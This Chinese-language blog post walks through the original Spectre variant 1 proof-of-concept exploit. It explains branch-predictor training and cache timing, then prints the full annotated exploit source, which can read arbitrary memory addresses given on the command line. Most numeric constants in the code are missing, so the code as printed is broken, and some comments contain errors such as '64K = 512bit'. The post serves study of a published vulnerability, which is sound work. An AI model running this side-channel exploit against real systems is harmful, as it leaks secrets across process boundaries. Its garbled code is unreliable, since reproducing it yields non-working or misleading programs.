intel:spectre&Meltdown侧信道攻击(二)
上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pdf
1、先展示一下运行结果,便于有个直观的认识:从打印的结果来看,成功猜测出了secret字符串的内容;
2、下面详细解读代码
(1)整个漏洞利用核心的两个函数:rdtscp和clflush都在这两个头文件里申明了;
- #ifdef _MSC_VER
- #include <intrin.h> /* for rdtscp and clflush */
- #pragma optimize("gt", on)
- #else
- #include <x86intrin.h> /* for rdtscp and clflush */
- #endif
(2)array1:attacker用来访问victim的数组。这里申明了160字节,但后续会用很大的数跨越数组定义时的边界限制,达到访问victim内存的目的;
unuesed1和unused2:多核cpu,每个核都有各自的L1和L2缓存;缓存以line作为基本的单元,每个cache line有64字节;unuesed1和unuesed2刚好填满2个cache line,array1占用3个cache line;
这3个数组一共占用5个不同的cache line;
array2:secret每个单位是1byte,大小不超过255,所以“横坐标”最大256; 每个cache line是64byte(最小缓存单元),也就是512bit,所以“纵坐标”是512;
- uint8_t unused1[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
- uint8_t array1[] = { ,,,,,,,,,,,,,,, };//a shared memory space between the victim and the attacker
- uint8_t unused2[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
- uint8_t array2[ * ];//(1)secret每个单位1字节,数字大小不超过255;(2)L1的单个cache line大小64K = 512bit,这里可存储256个不同的cache line (3)shared with the attacker and victim
(3)这个是victim的数据,也就是需要爆破的数据;
- char* secret = "The Magic Words are Squeamish Ossifrage.";//known only to the victim, and it's what the attacker is trying to recover
(4)通过array1申明的长度是160,但后面某些时候会传入远大于160的数,越界访问secret的内容后存入缓存。后面即使if条件不成立,cpu回退寄存器的状态,但是的缓存仍然还在;
- uint8_t temp = ; /* ensure the compiler does not remove the victim_function() at compilation time*/
- // In reality, the victim and the attacker would share a memory space and the attacker would have the ability to call victim_function()
- void victim_function(size_t x)
- {
- if (x < array1_size)//array1_size不在缓存,需要从内存读,很耗时,cpu先行执行下面的语句
- {
- temp &= array2[array1[x] * ];//array1长度是160,但x可以远超160,比如main里面定义malicious_x,这样就进入secret的存储空间
- }
- }
(5)判断cache是否命中的阈值,这个值是多次实验得到的,不是理论推导出来的;
- #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold:80是多次实验测试得到的,不是某些理论推导出来的 */
(6)保存缓存是否命中结果
- for (i = ; i < ; i++)
- results[i] = ;
(7)array2每个元素如果已经在cpu的缓存,全部清除,避免影响后续计时;
- for (i = ; i < ; i++)//每个元素的缓存都清零
- _mm_clflush(&array2[i * ]); /* intrinsic for clflush instruction */
(8)把array1_size从cpu缓存去除;紧接着的这个空转为了确保array1_size的从cpu缓存清除;
- _mm_clflush(&array1_size);//array1_size从缓存去除
- for (volatile int z = ; z < ; z++)//ensure the flush is done, and the processor does not re-order it;volatile强制cpu从内存读取Z的值,否则这个空转可能被编译器优化
- {/* Delay (can also mfence),也可以用 mfence 替代*/
- }
(9)这里计算array1的偏移坐标,方法很复杂,单看代码很难理解为啥这么做,不妨先打印一些结果数据看看:
- x = ((j % ) - ) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
- x = (x | (x >> )); /* Set x=-1 if j%6=0, else x=0 */
- x = training_x ^ (x & (malicious_x ^ training_x));
- 构造的x如下:很有规律,每6次一个轮回;每个轮回前5次的x都是7,在arry1_size的范围内,if条件是成立的;最后一个远大于arry1_size,导致if条件失效;但CPU有分支预测功能,会根据该
if分支附近或前面几个分支预测下一个if分支是否成立。前面5个分支都是成立的,会“诱导”cpu认为第6次if也成立,进而提前执行temp &= array2[array1[x] * 512]的代码,把victim的内存读到cpu
内部缓存; 然后就是执行victim_funtion();
- j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
- j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
- j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
(10)victim_function执行完后,重新从array2读数据,并计时;耗时最短的说明在victim中存的就是这个;
- /* Time reads. Order is lightly mixed up to prevent stride prediction */
- for (i = ; i < ; i++)
- {
- mix_i = ((i * ) + ) & ;//1、打乱读取byte的顺序,避免cpu猜测和优化byte的读取 2、&255=&FF,只保留低8bit,效果相当于%255(小于255)或%255-1(大于255)
- addr = &array2[mix_i * ];
- time1 = __rdtscp(&junk); /* READ TIMER */
- junk = *addr; /* MEMORY ACCESS TO TIME */
- time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
- if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
- results[mix_i]++; /* cache hit - add +1 to score for this value */
- }
(11)接下来就是排序,找出耗时最短的2个数字;
- /* Locate highest & second-highest results results tallies in j/k */
- j = k = -;
- for (i = ; i < ; i++)
- {
- if (j < || results[i] >= results[j])
- {
- k = j;
- j = i;
- }
- else if (k < || results[i] >= results[k])
- {
- k = i;
- }
- }
- if (results[j] >= ( * results[k] + ) || (results[j] == && results[k] == ))
- break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
- }
- results[] ^= junk; /* use junk so code above won't get optimized out*/
- value[] = (uint8_t)j;
- score[] = results[j];
- value[] = (uint8_t)k;
- score[] = results[k];
(12)继续看main:这个就是从arry1到目标内存的offset:
- size_t malicious_x = (size_t)(secret - (char*)array1);
紧接着会传入readMemoryByte函数去探测读取内容:
- printf("Reading at malicious_x = %p... ", (void*)malicious_x);
- readMemoryByte(malicious_x++, value, score);
(13)和https://www.cnblogs.com/theseventhson/p/13282921.html 这个POC比,这个demo多了两个功能:
- 训(诱)练(导)cpu的分支预测结果,让其认为下一个if条件是成立的,提前执行if分支
- 不仅仅能探测secret内容,还能让用户指定需要探测的目标地址和探测的数据长度,如下:
- if (argc == )//第一个参数是目标地址,第二个参数是读取的字节数;
- {
- sscanf_s(argv[], "%p", (void**)(&malicious_x));
- malicious_x -= (size_t)array1; /* Convert input value into a pointer;*/
- sscanf_s(argv[], "%d", &len);
- printf("Trying malicious_x = %p, len = %d\n", (void*)malicious_x, len);
- }
完整的代码如下(精华都在注释了):
- #include <stdio.h>
- #include <stdint.h>
- #include <string.h>
- #ifdef _MSC_VER
- #include <intrin.h> /* for rdtscp and clflush */
- #pragma optimize("gt", on)
- #else
- #include <x86intrin.h> /* for rdtscp and clflush */
- #endif
- /* sscanf_s only works in MSVC. sscanf should work with other compilers */
- #ifndef _MSC_VER
- #define sscanf_s sscanf
- #endif
- /********************************************************************
- Victim code.
- ********************************************************************/;
- unsigned int array1_size = ;
- uint8_t unused1[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
- uint8_t array1[] = { ,,,,,,,,,,,,,,, };//a shared memory space between the victim and the attacker
- uint8_t unused2[];//useful to ensure we hit different cache lines,On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.
- uint8_t array2[ * ];//(1)secret每个单位1字节,数字大小不超过255;(2)L3的单个cache line大小64K = 512bit,这里可存储256个不同的cache line (3)shared with the attacker and victim
- char* secret = "The Magic Words are Squeamish Ossifrage.";//known only to the victim, and it's what the attacker is trying to recover
- uint8_t temp = ; /* ensure the compiler does not remove the victim_function() at compilation time*/
- // In reality, the victim and the attacker would share a memory space and the attacker would have the ability to call victim_function()
- void victim_function(size_t x)
- {
- if (x < array1_size)//array1_size不在缓存,需要从内存读,很耗时,cpu先行执行下面的语句
- {
- temp &= array2[array1[x] * ];//array1长度是160,但x可以远超160,比如main里面定义malicious_x,这样就进入secret的存储空间
- }
- }
- /********************************************************************
- Analysis code
- ********************************************************************/
- #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold:80是多次实验测试得到的,不是某些理论推导出来的 */
- /* Report best guess in value[0] and runner-up in value[1] */
- void readMemoryByte(size_t malicious_x, uint8_t value[], int score[])
- {
- static int results[];//内存单元读取的时间
- int tries, i, j, k, mix_i;
- unsigned int junk = ;
- size_t training_x, x;
- register uint64_t time1, time2;
- volatile uint8_t* addr;
- for (i = ; i < ; i++)
- results[i] = ;
- for (tries = ; tries > ; tries--)
- {
- /* Flush array2[256*(0..255)] from cache */
- for (i = ; i < ; i++)//每个元素的缓存都清零
- _mm_clflush(&array2[i * ]); /* intrinsic for clflush instruction */
- /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
- training_x = tries % array1_size;//training_x = 0~15
- for (j = ; j >= ; j--)
- {
- _mm_clflush(&array1_size);//array1_size从缓存去除
- for (volatile int z = ; z < ; z++)//ensure the flush is done, and the processor does not re-order it;volatile强制cpu从内存读取Z的值,否则这个空转可能被编译器优化
- {/* Delay (can also mfence),也可以用 mfence 替代*/
- }
- /*每循环6次,其中5次产生较小的x,让if条件成立;第6次产生超大、让if不成立的x,但由于前5次的x都成立,cpu还是会预先执行if分支。前面5次小x就是用来训练cpu分支预测的,以达到第6次“欺骗”的目的*/
- /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
- /* Avoid jumps in case those tip off the branch predictor */
- x = ((j % ) - ) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
- x = (x | (x >> )); /* Set x=-1 if j%6=0, else x=0 */
- x = training_x ^ (x & (malicious_x ^ training_x));
- /* Call the victim! */
- victim_function(x);//x是相对arry1的偏移,可以深入secret数组探查;
- }
- /* Time reads. Order is lightly mixed up to prevent stride prediction */
- for (i = ; i < ; i++)
- {
- mix_i = ((i * ) + ) & ;//1、打乱读取byte的顺序,避免cpu猜测和优化byte的读取 2、&255=&FF,只保留低8bit,效果相当于%255(小于255)或%255-1(大于255)
- addr = &array2[mix_i * ];
- time1 = __rdtscp(&junk); /* READ TIMER */
- junk = *addr; /* MEMORY ACCESS TO TIME */
- time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
- if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
- results[mix_i]++; /* cache hit - add +1 to score for this value */
- }
- /* Locate highest & second-highest results results tallies in j/k */
- j = k = -;
- for (i = ; i < ; i++)
- {
- if (j < || results[i] >= results[j])
- {
- k = j;
- j = i;
- }
- else if (k < || results[i] >= results[k])
- {
- k = i;
- }
- }
- if (results[j] >= ( * results[k] + ) || (results[j] == && results[k] == ))
- break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
- }
- results[] ^= junk; /* use junk so code above won't get optimized out*/
- value[] = (uint8_t)j;
- score[] = results[j];
- value[] = (uint8_t)k;
- score[] = results[k];
- }
- int main(int argc, const char** argv)
- {
- printf("Putting '%s' in memory, address %p\n", secret, (void*)(secret));
- size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x,array1到secret的距离,包括array2[256 * 512]、unused2[64]、array1[160] */
- int score[], len = strlen(secret);
- uint8_t value[];
- for (size_t i = ; i < sizeof(array2); i++)//array2[256 * 512]
- array2[i] = ; /* write to array2 so in RAM not copy-on-write zero pages */
- if (argc == )//第一个参数是目标地址,第二个参数是读取的字节数;
- {
- sscanf_s(argv[], "%p", (void**)(&malicious_x));
- malicious_x -= (size_t)array1; /* Convert input value into a pointer;*/
- sscanf_s(argv[], "%d", &len);
- printf("Trying malicious_x = %p, len = %d\n", (void*)malicious_x, len);
- }
- printf("Reading %d bytes:\n", len);
- while (--len >= )
- {
- printf("Reading at malicious_x = %p... ", (void*)malicious_x);
- readMemoryByte(malicious_x++, value, score);
- printf("%s: ", (score[] >= * score[] ? "Success" : "Unclear"));
- printf("0x%02X='%c' score=%d ", value[],
- (value[] > && value[] < ? value[] : '?'), score[]);
- if (score[] > )
- printf("(second best: 0x%02X='%c' score=%d)", value[],
- (value[] > && value[] < ? value[] : '?'),
- score[]);
- printf("\n");
- }
- #ifdef _MSC_VER
- printf("Press ENTER to exit\n");
- getchar(); /* Pause Windows console */
- #endif
- return ();
- }
参考:https://www.fortinet.com/blog/threat-research/into-the-implementation-of-spectre 代码解读
https://bbs.pediy.com/thread-254288.htm https://xz.aliyun.com/t/6332 跨进程泄露敏感信息
https://bbs.pediy.com/thread-256190.htm Intel处理器L3 Cache侧信道分析研究
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